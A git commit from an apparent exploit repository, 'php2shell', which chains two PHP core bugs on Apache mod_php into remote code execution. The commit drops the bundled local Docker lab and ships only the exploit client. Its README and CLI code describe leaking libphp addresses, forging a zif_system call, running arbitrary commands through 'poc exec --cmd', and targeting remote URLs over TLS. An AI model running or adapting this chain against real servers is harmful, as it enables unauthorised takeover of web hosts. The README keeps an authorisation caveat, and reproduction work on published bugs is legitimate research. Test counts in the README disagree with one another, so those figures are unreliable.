refactor: ship the exploit client only; drop the bundled lab harness
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s

- remove lab/ (index.php, apache conf, up/down/status shims)
- remove poc/lab.py and the 'poc lab' subcommand
- proof path defaults to a fixed per-user dir so the working directory no longer matters
- README: target recipe documented instead of shipped
This commit is contained in:
ZSecurity
2026-10-24 15:02:47 +07:00
parent a0b4a6cb95
commit d1a6f0ab32
14 changed files with 176 additions and 398 deletions
+1 -1
View File
@@ -224,7 +224,7 @@ The same code worked from git-bash purely because git-bash's `PATH` put its own
Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the
Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical
`python -m poc lab` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are `python -m poc exploit` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are
easy to get wrong: easy to get wrong:
- **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter); - **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter);
+87 -45
View File
@@ -5,8 +5,6 @@ using only HTTP multipart requests, with no application code required and no `se
in the target page. in the target page.
``` ```
$ ./lab/up.sh
target: OK
$ python -m poc exploit $ python -m poc exploit
php2shell poc 0.1.0 | ZSecurity | Linuxhackingid php2shell poc 0.1.0 | ZSecurity | Linuxhackingid
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error [1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
@@ -23,10 +21,11 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data)
## Scope and authorisation ## Scope and authorisation
Local Docker lab only. Every connection goes to a container started by `lab/up.sh` on **This repository ships the exploit client only.** It contains no web application, no Docker
`127.0.0.1`. This is a reproduction harness plus a staged verification of two published PHP compose file and no lab harness: you point it at a vulnerable mod_php target you started
core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not yourself (see [Target](#target-not-shipped)). It is a reproduction and verification tool for two
own or have written authorisation to test. published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host
you do not own or have written authorisation to test.
## The vulnerabilities ## The vulnerabilities
@@ -76,7 +75,7 @@ not a citation:
```bash ```bash
git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git
cd php2shell-cve-2026-109618-109619 cd php2shell-cve-2026-109618-109619
python -m unittest discover -s tests -t . # 71 pass, 4 skip (need the target binary) python -m unittest discover -s tests -t . # 56 pass, 4 skip (need the target binary)
``` ```
Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a
@@ -95,60 +94,102 @@ fresh clone — see [research/README.md](research/README.md) to enable them.
| OS | Status | How it was checked | | OS | Status | How it was checked |
|---|---|---| |---|---|---|
| Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` | | Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` |
| Linux x86_64 | works | Python 3.9 and 3.13 containers: 67/67 unit tests, plus the full chain executed from a Linux client against the lab over a Docker network (`uid=33(www-data)`) | | Linux x86_64 | works | Python 3.9 and 3.13 containers: full unit suite, plus the full chain executed from a Linux client against the target over a Docker network (`uid=33(www-data)`) |
| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest`, and the code has no Windows-only branches except the separator normalisation in `poc/lab.py` | | macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest` |
Verified interpreter versions: 3.9.25, 3.13, 3.14.7. Verified interpreter versions: 3.9.25, 3.13, 3.14.7.
## Quickstart ## Quickstart
Windows (PowerShell) and Linux/macOS are the same commands: You need a running vulnerable target first (next section). Then, from any directory:
```powershell ```bash
python -m poc lab # bring the target up, check it, run the chain python -m poc check --url http://127.0.0.1:18110 # version, ini, libphp hash, profile
cat out\p1 # uid=33(www-data) python -m poc exploit --url http://127.0.0.1:18110 # A1 -> B1 -> A2 -> B2 -> proof
```
Sample output:
```
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
RCE OK; proof C:\Users\you\AppData\Local\php2shell\out\p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
The proof file is written by the target into its `/out` mount. This client looks for it in a
fixed per-user directory — `%LOCALAPPDATA%\php2shell\out` on Windows,
`${XDG_DATA_HOME:-~/.local/share}/php2shell/out` on Linux/macOS — so **the folder you run `poc`
from does not matter**. Point the target's `/out` at that directory, or pass `--proof PATH`.
`poc exploit` refuses to run when nothing is listening and tells you so. Nothing is chained
implicitly: `check` only reads configuration, `leak` stops after the disclosure, `exploit` sends
the whole chain.
## Target (not shipped)
Requirements, all confirmed against `php:8.4.26-apache`:
- Apache **mod_php** (not FPM — the confirmed path depends on mod_php's shutdown running after a
failed startup)
- `php.ini-production`: `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`,
`output_buffering=0`, `session.upload_progress.enabled=On`
- **one prefork child** for deterministic results (`MaxRequestWorkers 1`); with more workers the
four requests must otherwise land on the same child
- a writable `/out` mount which matches the client's proof directory
Minimal target, two files plus a container. `index.php`:
```php
<?php echo "OK\n";
```
`apache-single-worker.conf`:
```apache
KeepAlive Off
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
ServerLimit 1
MaxConnectionsPerChild 0
</IfModule>
``` ```
```bash ```bash
python -m poc lab OUT="${XDG_DATA_HOME:-$HOME/.local/share}/php2shell/out"; mkdir -p "$OUT"
cat out/p1 docker run -d --name p2s-lab -p 127.0.0.1:18110:80 \
-v "$PWD/index.php:/var/www/html/index.php:ro" \
-v "$PWD/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \
-v "$OUT:/out" \
php:8.4.26-apache /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini;
chown -R www-data:www-data /out 2>/dev/null || true; exec apache2-foreground'
``` ```
Step by step, if you want to see each stage: On Windows/PowerShell use forward-slash paths (`C:/Users/you/...`) and
`$env:LOCALAPPDATA + "/php2shell/out"` for `OUT`. The asset files are deliberately not part of
```bash this repository — the exploit client is the deliverable, the target is your lab.
./lab/up.sh # or: python -m poc lab up
python -m poc check # version, ini, libphp hash, profile, worker count
python -m poc leak # A1 + B1 only: the disclosure
python -m poc exploit # A1 -> B1 -> A2 -> B2 -> proof file
python -m poc status # or: python -m poc lab status
./lab/down.sh # or: python -m poc lab down
```
The lab and the exploit are deliberately separate commands: `poc lab` only manages the
container, `poc check` only reads the target's configuration, and `poc exploit` only sends the
chain. Nothing is chained implicitly, so you can point `poc exploit` at a target someone else
started. `poc exploit` refuses to run when nothing is listening and tells you to start a lab.
## CLI ## CLI
| Command | Purpose | | Command | Purpose |
|---|---| |---|---|
| `poc lab [up\|down\|status]` | container lifecycle only — no exploitation. `up` (default) recreates the target and waits until it answers; `down` removes it; `status` dumps diagnostics. `--image`, `--name`, `--port`, `--net` override the target |
| `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. | | `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
| `poc status` | container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count | | `poc status` | diagnostics for a **local** container via `docker exec`: php/apache version, the nine ini values, libphp sha256, worker count |
| `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` | | `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` |
| `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) | | `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) |
| `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code | | `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code |
| `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` | | `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` |
| `poc selftest` | offline: build all four bodies, check sizes and layout invariants | | `poc selftest` | offline: build all four bodies, check sizes and layout invariants |
All commands accept `--host --port --name --profile --workers --json`. `--workers N` occupies All commands accept `--host --port --url --path --tls --insecure --profile --workers --json`.
`N-1` prefork children so the four chain requests land on the same worker. `--workers N` occupies `N-1` prefork children so the four chain requests land on the same worker.
`--name` (default `p2s-lab`) selects the container for `check` and `status`.
`IMAGE`, `NAME`, `PORT`, and `NET` environment variables are honoured by `poc lab` (so the shell
wrappers keep the old `IMAGE=… NAME=… ./lab/up.sh` idiom working), and the equivalent flags
(`--image --name --port --net`) are the portable form.
## Targeting a URL or a remote host ## Targeting a URL or a remote host
@@ -260,7 +301,7 @@ Every row below is a command that was actually run in this environment, with its
|---|---|---| |---|---|---|
| Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker | | Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker |
| Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile | | Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile |
| Offline suite | `python -m unittest discover -s tests -t .` | 75 tests, all pass, 0 skipped | | Offline suite | `python -m unittest discover -s tests -t .` | 60 tests, all pass, 0 skipped |
| Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) | | Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) |
| Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 | | Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 |
| Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 | | Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 |
@@ -268,8 +309,8 @@ Every row below is a command that was actually run in this environment, with its
| Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 | | Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 |
| Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both | | Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both |
| Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` | | Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` |
| Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it | | Windows shell independence | `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to WSL | exit 0, proof written - the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
| Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** | | Specificity | same target recipe on `php:8.4.27-apache`, then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe | | Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not
@@ -317,12 +358,13 @@ target's `libphp.so` SHA-256.
## Repository layout ## Repository layout
``` ```
lab/ docker target (rootfs files + thin shims that call the Python entry points) poc/ profiles · outdir · elf · wire · bodies · forge · leak · cli
poc/ profiles · elf · wire · bodies · forge · leak · lab · cli tests/ 60 unit tests; golden body hashes live in tests/golden/bodies.json
tests/ 32 unit tests; golden body hashes live in tests/golden/bodies.json research/ provenance of the golden hashes (reference clone is gitignored)
research/ reference clone (gitignored), captures, and the diagnostics used to calibrate
``` ```
There is no `lab/`, no compose file and no target webroot here: the client is the artifact.
`research/upstream/` is a read-only clone of the public reference chain, used once as a control `research/upstream/` is a read-only clone of the public reference chain, used once as a control
test and to generate the golden body hashes. Nothing in `poc/` imports it. test and to generate the golden body hashes. Nothing in `poc/` imports it.
-10
View File
@@ -1,10 +0,0 @@
KeepAlive Off
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
ServerLimit 1
MaxConnectionsPerChild 0
</IfModule>
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env bash
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab down "$@"
-1
View File
@@ -1 +0,0 @@
<?php echo "OK\n";
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env bash
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab status "$@"
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env bash
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab up "$@"
+25 -42
View File
@@ -10,7 +10,7 @@ import sys
import time import time
import urllib.parse import urllib.parse
from poc import bodies, elf, forge, lab, leak, profiles, wire from poc import bodies, elf, forge, leak, outdir, profiles, wire
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
@@ -213,8 +213,9 @@ def exploit_once(args, prof):
if not wire.status(r4): if not wire.status(r4):
print(" B2 got no response (worker aborted during shutdown) but %s never appeared" print(" B2 got no response (worker aborted during shutdown) but %s never appeared"
% proof_path) % proof_path)
print(" the target's /out is mounted from the directory `poc lab up` ran in;" print(" the target's /out is not the client's proof directory; mount it at %s"
" run it from here, or pass --proof") % os.path.dirname(proof_path))
print(" or pass --proof with the path the target actually writes")
else: else:
print(" no command output; B2 status=%r - stage-3 placement missed" print(" no command output; B2 status=%r - stage-3 placement missed"
% wire.status(r4)) % wire.status(r4))
@@ -320,40 +321,28 @@ def require_target(host, port, tls=False, insecure=False):
except OSError: except OSError:
print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port), print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port),
file=sys.stderr) file=sys.stderr)
print("start one first: python -m poc lab up", file=sys.stderr) print("start a target first - see README: Target (not shipped)", file=sys.stderr)
return False return False
def cmd_lab(args):
action = args.action
name = args.name or os.environ.get("NAME") or "p2s-lab"
port = args.port or int(os.environ.get("PORT") or 18110)
image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache"
net = args.net or os.environ.get("NET") or ""
args.name = name
args.port = port
if action == "status":
return cmd_status(args)
try:
if action == "down":
lab.down(name)
print("down %s" % name)
return 0
body = lab.up(ROOT, image, name, port, net, args.host)
except lab.LabError as exc:
print(str(exc), file=sys.stderr)
return 1
print("target: %s" % body)
print("next: python -m poc check --name %s --port %d" % (name, port))
print(" python -m poc exploit --port %d" % port)
return 0
def cmd_status(args): def cmd_status(args):
try: name = args.name
rows = lab.status(args.name, args.lib_path) rows = []
except lab.LabError as exc: ver = dkr(["exec", name, "php", "-v"]).splitlines()
print(str(exc), file=sys.stderr) rows.append(("php", ver[0] if ver else "?"))
for line in dkr(["exec", name, "php", "-i"]).splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INVL:
rows.append((key, val.split("=>")[0].strip()))
sha = dkr(["exec", name, "sha256sum", args.lib_path]).split()
rows.append(("libphp_sha256", sha[0] if sha else "?"))
apache = dkr(["exec", name, "apache2", "-v"]).splitlines()
rows.append(("apache", apache[0] if apache else "?"))
rows.append(("workers", dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()))
if not any(v.strip() for k, v in rows if k != "workers"):
print("cannot inspect container %r (is it running? is docker available?)" % name,
file=sys.stderr)
return 1 return 1
if args.json: if args.json:
print(json.dumps(dict(rows), indent=2)) print(json.dumps(dict(rows), indent=2))
@@ -385,11 +374,12 @@ def cmd_exec(args):
% (wrapped_len, CARRIER_LIMIT), file=sys.stderr) % (wrapped_len, CARRIER_LIMIT), file=sys.stderr)
print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr) print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr)
return 2 return 2
local = os.path.join(ROOT, "out", ".poc-exec") local = os.path.join(outdir.default_outdir(), ".poc-exec")
ns = copy.copy(args) ns = copy.copy(args)
ns.cmd = exec_wrapper(args.cmd) ns.cmd = exec_wrapper(args.cmd)
ns.proof = local ns.proof = local
ns.quiet = True ns.quiet = True
outdir.ensure()
if os.path.exists(local): if os.path.exists(local):
os.remove(local) os.remove(local)
code = 1 code = 1
@@ -479,18 +469,11 @@ def build_parser():
p.add_argument("--insecure", action="store_true", p.add_argument("--insecure", action="store_true",
help="skip TLS certificate verification (self-signed labs)") help="skip TLS certificate verification (self-signed labs)")
p.add_argument("--cmd", default="id>/out/p1") p.add_argument("--cmd", default="id>/out/p1")
p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1")) p.add_argument("--proof", default=os.path.join(outdir.default_outdir(), "p1"))
p.add_argument("--dry-run", action="store_true") p.add_argument("--dry-run", action="store_true")
p.add_argument("--retries", type=int, default=3) p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exploit, resolve=True) p.set_defaults(func=cmd_exploit, resolve=True)
p = sub.add_parser("lab")
common(p)
p.set_defaults(name=None, port=None)
p.add_argument("action", nargs="?", choices=("up", "down", "status"), default="up")
p.add_argument("--image", default="")
p.add_argument("--net", default="")
p.set_defaults(func=cmd_lab)
p = sub.add_parser("status") p = sub.add_parser("status")
common(p) common(p)
-131
View File
@@ -1,131 +0,0 @@
import os
import shutil
import socket
import subprocess
import time
INIT = ("cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini\n"
"chown -R www-data:www-data /out 2>/dev/null || true\n"
"exec apache2-foreground")
INI_KEYS = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
"session.save_handler", "session.serialize_handler"}
class LabError(Exception):
pass
def docker():
exe = shutil.which("docker")
if not exe:
raise LabError("docker not found in PATH")
return exe
def host_path(path, nt=None):
if nt is None:
nt = os.name == "nt"
return path.replace("\\", "/") if nt else path
def build_run_args(root, image, name, port, net="", nt=None):
lab_dir = os.path.join(root, "lab")
out_dir = os.path.join(root, "out")
args = ["run", "-d", "--name", name]
if net:
args += ["--network", net]
args += [
"-p", "127.0.0.1:%d:80" % port,
"-v", host_path(os.path.join(lab_dir, "index.php"), nt) + ":/var/www/html/index.php:ro",
"-v", host_path(os.path.join(lab_dir, "apache-single-worker.conf"), nt) + ":/etc/apache2/conf-enabled/zz-p2s.conf:ro",
"-v", host_path(out_dir, nt) + ":/out",
image,
"/bin/sh", "-c", INIT,
]
return args
def run(args, timeout=300, check=True):
exe = docker()
try:
proc = subprocess.run([exe] + args, capture_output=True, text=True, timeout=timeout)
except subprocess.TimeoutExpired as exc:
raise LabError("docker %s timed out" % args[0]) from exc
if check and proc.returncode != 0:
msg = (proc.stderr or proc.stdout or "").strip().splitlines()
raise LabError("docker %s failed: %s" % (args[0], msg[-1] if msg else "exit %d" % proc.returncode))
return proc
def executable(argv, name):
exe = docker()
proc = subprocess.run([exe, "exec", name] + argv,
capture_output=True, text=True, timeout=120)
return proc.stdout
def _http_get(host, port, path="/index.php", timeout=1.0):
sock = socket.create_connection((host, port), timeout=timeout)
try:
request = ("GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host)).encode()
sock.sendall(request)
data = b""
while b"\r\n\r\n" not in data:
chunk = sock.recv(1024)
if not chunk:
break
data += chunk
finally:
sock.close()
head, _, body = data.partition(b"\r\n\r\n")
return head, body
def wait_ready(port, host="127.0.0.1", attempts=120, delay=0.25):
for _ in range(attempts):
try:
head, body = _http_get(host, port)
if b" 200" in head:
return body.decode("latin1").strip()
except OSError:
pass
time.sleep(delay)
return None
def up(root, image, name, port, net="", host="127.0.0.1"):
run(["rm", "-f", name], check=False)
os.makedirs(os.path.join(root, "out"), exist_ok=True)
if net:
run(["network", "create", net], check=False)
run(build_run_args(root, image, name, port, net))
body = wait_ready(port, host)
if body is None:
logs = run(["logs", "--tail", "20", name], check=False)
raise LabError("target did not answer on %s:%d within %.0fs\n%s"
% (host, port, 120 * 0.25, (logs.stdout or "") + (logs.stderr or "")))
return body
def down(name):
run(["rm", "-f", name], check=False)
return True
def status(name, lib_path):
rows = []
ver = executable(["php", "-v"], name).splitlines()
rows.append(("php", ver[0] if ver else "?"))
for line in executable(["php", "-i"], name).splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INI_KEYS:
rows.append((key, val.split("=>")[0].strip()))
sha = executable(["sha256sum", lib_path], name).split()
rows.append(("libphp_sha256", sha[0] if sha else "?"))
apache = executable(["apache2", "-v"], name).splitlines()
rows.append(("apache", apache[0] if apache else "?"))
rows.append(("workers", executable(["sh", "-c", "pgrep -c apache2"], name).strip()))
return rows
+15
View File
@@ -0,0 +1,15 @@
import os
def default_outdir():
if os.name == "nt":
base = os.environ.get("LOCALAPPDATA") or os.path.expanduser(os.path.join("~", "AppData", "Local"))
else:
base = os.environ.get("XDG_DATA_HOME") or os.path.expanduser(os.path.join("~", ".local", "share"))
return os.path.join(base, "php2shell", "out")
def ensure():
path = default_outdir()
os.makedirs(path, exist_ok=True)
return path
+7 -17
View File
@@ -8,31 +8,21 @@ def parse(argv):
class SeparationTest(unittest.TestCase): class SeparationTest(unittest.TestCase):
def test_lab_defaults_to_up(self): def test_no_lab_subcommand(self):
self.assertEqual(parse(["lab"]).action, "up")
def test_lab_up_status_down(self):
for action in ("up", "down", "status"):
self.assertEqual(parse(["lab", action]).action, action)
def test_lab_rejects_unknown_action(self):
with self.assertRaises(SystemExit): with self.assertRaises(SystemExit):
parse(["lab", "exploit"]) parse(["lab"])
def test_lab_has_no_exploit_flags(self): def test_subcommands_are_exploit_only(self):
ns = parse(["lab", "up"]) cases = {"check": [], "leak": [], "exploit": [], "status": [],
for flag in ("proof", "retries", "dry_run"): "exec": ["--cmd", "id"], "offsets": ["--lib", "x"], "selftest": []}
self.assertFalse(hasattr(ns, flag), flag) for name, extra in cases.items():
self.assertTrue(callable(parse([name] + extra).func), name)
def test_exploit_keeps_its_flags(self): def test_exploit_keeps_its_flags(self):
ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"]) ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"])
self.assertEqual(ns.cmd, "id>/out/x") self.assertEqual(ns.cmd, "id>/out/x")
self.assertEqual(ns.retries, 1) self.assertEqual(ns.retries, 1)
def test_lab_actions_do_not_run_the_chain(self):
ns = parse(["lab", "up"])
self.assertIs(ns.func, cli.cmd_lab)
def test_exploit_and_leak_are_separate_commands(self): def test_exploit_and_leak_are_separate_commands(self):
self.assertIs(parse(["exploit"]).func, cli.cmd_exploit) self.assertIs(parse(["exploit"]).func, cli.cmd_exploit)
self.assertIs(parse(["leak"]).func, cli.cmd_leak) self.assertIs(parse(["leak"]).func, cli.cmd_leak)
-72
View File
@@ -1,72 +0,0 @@
import os
import tempfile
import unittest
from poc import lab
NT = os.name == "nt"
class HostPathTest(unittest.TestCase):
def test_windows_branch_replaces_backslashes(self):
self.assertEqual(lab.host_path("C:\\Users\\x\\out", nt=True), "C:/Users/x/out")
def test_windows_branch_leaves_forward_slashes(self):
self.assertEqual(lab.host_path("C:/Users/x/out", nt=True), "C:/Users/x/out")
def test_posix_branch_is_identity(self):
self.assertEqual(lab.host_path("/srv/poc/out", nt=False), "/srv/poc/out")
def test_default_matches_platform(self):
p = os.path.join(tempfile.gettempdir(), "out")
got = lab.host_path(p)
self.assertNotIn("\\", got)
if not NT:
self.assertEqual(got, p)
class BuildRunArgsTest(unittest.TestCase):
def setUp(self):
self.root = os.path.join(tempfile.gettempdir(), "p2s-repo")
self.args = lab.build_run_args(self.root, "php:8.4.26-apache", "p2s-lab", 18110, nt=NT)
def test_three_volume_mounts(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
self.assertEqual(len(vols), 3)
for vol in vols:
self.assertTrue(vol.endswith(":ro") or vol.endswith(":/out"))
def test_destinations(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
joined = " ".join(vols)
self.assertIn(":/var/www/html/index.php:ro", joined)
self.assertIn(":/etc/apache2/conf-enabled/zz-p2s.conf:ro", joined)
self.assertTrue(joined.endswith(":/out"))
def test_volume_separators_are_docker_safe(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
for vol in vols:
self.assertNotIn("\\", vol)
def test_image_precedes_entrypoint(self):
idx = self.args.index("php:8.4.26-apache")
self.assertEqual(self.args[idx + 1:idx + 3], ["/bin/sh", "-c"])
def test_port_publish_binds_loopback(self):
self.assertIn("127.0.0.1:18110:80", self.args)
def test_no_network_flag_by_default(self):
self.assertNotIn("--network", self.args)
def test_network_flag_when_requested(self):
args = lab.build_run_args(self.root, "img", "c", 1, net="p2s", nt=NT)
self.assertEqual(args[args.index("--network") + 1], "p2s")
def test_init_script_has_no_crlf(self):
self.assertNotIn("\r", lab.INIT)
self.assertIn("exec apache2-foreground", lab.INIT)
self.assertIn("php.ini-production", lab.INIT)
def test_no_shell_interpolation(self):
self.assertEqual(self.args.count("-c"), 1)
self.assertEqual(len([a for a in self.args if "$" in a]), 0)
-52
View File
@@ -1,52 +0,0 @@
import socket
import threading
import time
import unittest
from poc import lab
class WaitReadyTest(unittest.TestCase):
def _serve(self, payload):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("127.0.0.1", 0))
server.listen(8)
port = server.getsockname()[1]
stop = threading.Event()
def loop():
server.settimeout(0.2)
while not stop.is_set():
try:
conn, _ = server.accept()
except OSError:
continue
try:
conn.recv(1024)
conn.sendall(payload)
finally:
conn.close()
thread = threading.Thread(target=loop, daemon=True)
thread.start()
self.addCleanup(stop.set)
self.addCleanup(server.close)
return port
def test_returns_body_when_200(self):
port = self._serve(b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n")
self.assertEqual(lab.wait_ready(port, attempts=10), "OK")
def test_none_when_not_listening(self):
dropped = socket.socket()
dropped.bind(("127.0.0.1", 0))
port = dropped.getsockname()[1]
dropped.close()
started = time.time()
self.assertIsNone(lab.wait_ready(port, attempts=3, delay=0.01))
self.assertLess(time.time() - started, 5)
def test_ignores_non_200(self):
port = self._serve(b"HTTP/1.0 503 Nope\r\n\r\nbusy")
self.assertIsNone(lab.wait_ready(port, attempts=2, delay=0.01))
+41
View File
@@ -0,0 +1,41 @@
import os
import unittest
from poc import outdir
